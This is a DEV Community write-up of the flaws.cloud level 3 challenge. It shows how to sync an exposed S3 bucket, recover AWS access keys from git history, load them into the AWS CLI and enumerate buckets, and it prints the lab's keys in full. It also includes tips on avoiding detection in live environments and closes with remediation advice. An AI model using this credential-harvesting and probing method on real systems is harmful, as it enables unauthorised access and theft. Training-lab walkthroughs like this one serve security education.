DEV Community

gardnerapp
gardnerapp

Posted on

Offensive Git Forensics: Flaws.cloud Level3

If we hop on over to level3 at http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ we'll find ourselves on another static website. Keeping with the themes of earlier levels lets assume that the site is hosted on s3 in the us-west-2 region with a bucket name that is the same as the domain name. We'll run the following from our terminal:

18:48:20 $ aws s3 ls s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ 
                           PRE .git/
2017-02-26 19:14:33     123637 authenticated_users.png
2017-02-26 19:14:34       1552 hint1.html
2017-02-26 19:14:34       1426 hint2.html
2017-02-26 19:14:35       1247 hint3.html
2017-02-26 19:14:33       1035 hint4.html
2020-05-22 14:21:10       1861 index.html
2017-02-26 19:14:33         26 robots.txt
Enter fullscreen mode Exit fullscreen mode

Unfortunately there isn't anymore low hanging fruit in the form of a secret page we can view through ListBucketResult. What exactly is different about this bucket? Well it has a .git directory, and although git is very useful and convenient the occasional user manages to spill secret credentials by not blacklisting files within .gitnore or making old commits publicly available.

To access the history of the project provided by git we first need to download the entire project with the s3 sync command. If you want to know more about this command you can run aws s3 sync help which will pull up the man pages.

We'll clone the bucket in it's entirety into a new directory which we'll name level 3:

 aws --profile sudo s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ level3
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/COMMIT_EDITMSG to level3/.git/COMMIT_EDITMSG
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/description to level3/.git/description
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/HEAD to level3/.git/HEAD
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-rebase.sample to level3/.git/hooks/pre-rebase.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/post-update.sample to level3/.git/hooks/post-update.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-commit.sample to level3/.git/hooks/pre-commit.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/commit-msg.sample to level3/.git/hooks/commit-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/prepare-commit-msg.sample to level3/.git/hooks/prepare-commit-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/applypatch-msg.sample to level3/.git/hooks/applypatch-msg.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/config to level3/.git/config
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/pre-applypatch.sample to level3/.git/hooks/pre-applypatch.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/index to level3/.git/index
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/update.sample to level3/.git/hooks/update.sample
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/info/exclude to level3/.git/info/exclude
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/logs/HEAD to level3/.git/logs/HEAD
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df to level3/.git/objects/2f/c08f72c2135bb3af7af5803abb77b3e240b6df
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25 to level3/.git/objects/0e/aa50ae75709eb4d25f07195dc74c7f3dca3e25
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/53/23d77d2d914c89b220be9291439e3da9dada3c to level3/.git/objects/53/23d77d2d914c89b220be9291439e3da9dada3c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b to level3/.git/objects/61/a5ff2913c522d4cf4397f2500201ce5a8e097b
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/logs/refs/heads/master to level3/.git/logs/refs/heads/master
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 to level3/.git/objects/b6/4c8dcfa8a39af06521cf4cb7cdce5f0ca9e526
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/f2/a144957997f15729d4491f251c3615d508b16a to level3/.git/objects/f2/a144957997f15729d4491f251c3615d508b16a
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2 to level3/.git/objects/db/932236a95ebf8c8a7226432cf1880e4b4017f2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2 to level3/.git/objects/e3/ae6dd991f0352cc307f82389d354c65f1874a2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c to level3/.git/objects/92/d5a82ef553aae51d7a2f86ea0a5b1617fafa0c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/c2/aab7e03933a858d1765090928dca4013fe2526 to level3/.git/objects/c2/aab7e03933a858d1765090928dca4013fe2526
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint1.html to level3/hint1.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint3.html to level3/hint3.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61 to level3/.git/objects/f5/2ec03b227ea6094b04e43f475fb0126edb5a61
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/robots.txt to level3/robots.txt
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint2.html to level3/hint2.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/index.html to level3/index.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/refs/heads/master to level3/.git/refs/heads/master
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/hint4.html to level3/hint4.html
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/objects/76/e4934c9de40e36f09b4e5538236551529f723c to level3/.git/objects/76/e4934c9de40e36f09b4e5538236551529f723c
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/authenticated_users.png to level3/authenticated_users.png

Enter fullscreen mode Exit fullscreen mode

Woah that's a lot of files! Looking through each and every one of them would be tedious, we need to take a systematic approach to looking through these. But first let us see what we've downloaded.

18:59:25 $ cd level3 
18:59:27 master $ ls
authenticated_users.png hint2.html      hint4.html      robots.txt
hint1.html      hint3.html      index.html
Enter fullscreen mode Exit fullscreen mode

For those who don't know writing software is a messy business. 1 misspelled character can spill a stack trace hundreds of lines long and take down your app in it's entirety. Git is a version control system that makes writing software a tad bit less messy.

Git has what are called branches, which are basically rough drafts for different features. If I wanted to implement a photo upload feature to an already existing app I'd create a new branch. Once the code is written and tested the developer will commit the code, which is like hitting save on an Excel or Word document. Lastly, there are merges which is a system for combining different branches. Once the photo upload feature is finished, the branch is committed and then merged to the main or master branch of the repository. Git is an essential skill for software developers and red teams alike, I highly recommend learning git from Michael Hartl's Learn Enough Series.

As you can see when we ran ls from our synced directory we are in the master branch of the project, essentially we're looking at the production code for the application. To see if the developer had any other working branches we can run:

7:07:22 ~/level3 master $ git branch
            * master
Enter fullscreen mode Exit fullscreen mode

So we only have access to one branch, but not all hope is lost we still can do a lot of poking and prodding with the git log command, which will pull up the history of the projects commits:

7:13:40 ~/level3 master $ git log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit
Enter fullscreen mode Exit fullscreen mode

Commits are given hexadecimal hashes as means of identification and authenticity validation, and each commit has a message and we can see from the 64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 the author added something they shouldn't have.

We can check the difference between commits with the git diff, see git diff --help for more details. In this case we'll want to see the difference between the first commit and the authors accidental commit like so:

7:18:09 ~/level3 master $ git diff b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 f52ec03b227ea6094b04e43f475fb0126edb5a61 
diff --git a/access_keys.txt b/access_keys.txt
new file mode 100644
index 0000000..e3ae6dd
--- /dev/null
+++ b/access_keys.txt
@@ -0,0 +1,2 @@
+access_key AKIAJ366LIPB4IJKT7SA
+secret_access_key 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
Enter fullscreen mode Exit fullscreen mode

We see that the author stored a series of access keys in plain text in the mistaken commit, these keys are available to us. Before we use them I want to show you how to go back in time to a particular commit to poke and prod around, we'll use the git checkout command. The git checkout command is primarily used for creating, destroying and moving around on branches in your repositories project. But it can also be used for going back and forth between commits. Let's go back to the commit directly before the author noticed their mistake like so:

7:25:12 ~/level3 heads/master $ git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61
M   index.html
Previous HEAD position was b64c8dc Oops, accidentally added something I shouldn't have
HEAD is now at f52ec03 first commit
7:25:19 ~/level3 master~1 $ ls
access_keys.txt     hint1.html      hint3.html      index.html
authenticated_users.png hint2.html      hint4.html      robots.txt
7:25:20 ~/level3 master~1 $ cat access_keys.txt 
access_key AKIAJ366LIPB4IJKT7SA
secret_access_key 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
Enter fullscreen mode Exit fullscreen mode

Once we check our selves into the original commit we can look around and see that the file structure changes revealing the presence of a plain text file holding access key credentials. There is nothing stopping us from using these keys.

The AWS CLI allows us to configure multiple profiles for use. If we open up our ~./aws/credentials file we can add the keys we found as a profile called flaws like so:

[flaws]
region = us-west-2
aws_access_key_id = AKIAJ366LIPB4IJKT7SA
aws_secret_access_key = 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
Enter fullscreen mode Exit fullscreen mode

Now that we've obtained credentials we'll want to know whom we're
maneuvering as and what kinds of permissions they have. From there
we'll leverage the services we have access to in order to gain
elevated privileges onto even more AWS resources.

AWS STS ie. Security Token Service is an API for interacting with the
various token credentials AWS offers. You can read more on STS here https://docs.aws.amazon.com/STS/latest/APIReference/welcome.html and a list of api calls supported by STS can be found here https://docs.aws.amazon.com/cli/latest/reference/sts/index.html

We can find out who our profile is acting as through the get-caller-identity command like so:

 aws --profile flaws sts get-caller-identity
{
    "UserId": "AIDAJQ3H5DC3LEG2BKSLC",
    "Account": "975426262029",
    "Arn": "arn:aws:iam::975426262029:user/backup"
}
Enter fullscreen mode Exit fullscreen mode

Now that we know our username is backup we can try interacting with the iam api to see a list of policies attached to the user:

$ aws --profile flaws iam list-attached-user-policies --user-name backup

An error occurred (AccessDenied) when calling the ListAttachedUserPolicies operation: User: arn:aws:iam::975426262029:user/backup is not authorized to perform: iam:ListAttachedUserPolicies on resource: user backup because no identity-based policy allows the iam:ListAttachedUserPolicies action
Enter fullscreen mode Exit fullscreen mode

Unfortunately this provides an access denied error. The author was smart enough to restrict access to some resources. This doesn't mean we've hit a dead end, we just don't have a working list of the resources that our profile has access to. We'll have to probe various services like s3 to see what kinds of access we have.

Obviously we're in a CTF and we don't care about how many access denied returns we get, there is no security team watching. In a live environment we'd have to worry about two things: 1) manual analyst meticulously and faithfully combing through log files and 2) automated alerts. The best we can do while blindly probing is hope that we don't trigger too many access denied calls within a short period of time. That is our only hope of remaining incognito.

We know that the author has made mistakes in the past in regards to s3 permissions so lets try to toy around with those, we'll start by listing all of the s3 buckets with the ls command:

 aws --profile flaws s3 ls
2020-06-25 13:43:56 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2020-06-26 19:06:07 config-bucket-975426262029
2020-06-27 06:46:15 flaws-logs
2020-06-27 06:46:15 flaws.cloud
2020-06-27 11:27:14 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2020-06-27 11:27:14 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2020-06-27 11:27:14 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2020-06-27 11:27:15 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2020-06-27 11:27:15 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2020-06-27 22:29:47 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud
Enter fullscreen mode Exit fullscreen mode

Wonderful ! We even have access to some log files, but lets assume they were smart enough to protect those and not run an ls command on that bucket to avoid building bad habits and tipping off the boys in blue.

Now that we know the name of the level 4 bucket we also know the URL it is located at. I'll see you there in the next installment of the series !

Git commits are reversible with the reset, revert and delete commands. You can learn more about correcting mistaken git commits with this tutorial: https://www.git-tower.com/learn/git/faq/delete-commits/

As you saw there were a series of flaws that allowed us to compromise the apps security. The first was allowing access to the bucket to anyone with s3 credentials. Originally the author stored AWS credentials in plain text within their repository and then committed them to version control. Plaintext credentials should never be stored, any type of access or secret keys need to be encrypted before being stored.

Although the author did a good job of removing the access keys from version control they neglected to destroy the commit which spilled the secrets. When they noticed that they had published secret keys to version control they should've rolled back these keys. Automatically invalidating and rotating access keys is a good policy because if an attacker gets hold of keys and you don't know about it they will only have so much time to work with those specific keys before they expire.

Lastly the author did not follow the principal of least privilege, which states that an app, service, or user should only have the bare minimum access to the resources that they need to function. On AWS this means that if I generate a user to only manage buckets that user should only have bucket related permissions, they shouldn't be able to spawn EC2 instances, use EKS, or have access to ECR.

In terms of a real life analogy I like to think of the principal of least privilege in terms of sports. Specific players have specific roles, some are the shooters whilst others play more of a supporting role. The supporting player can mess the whole game up by having the ability to take too many shots.

Top comments (0)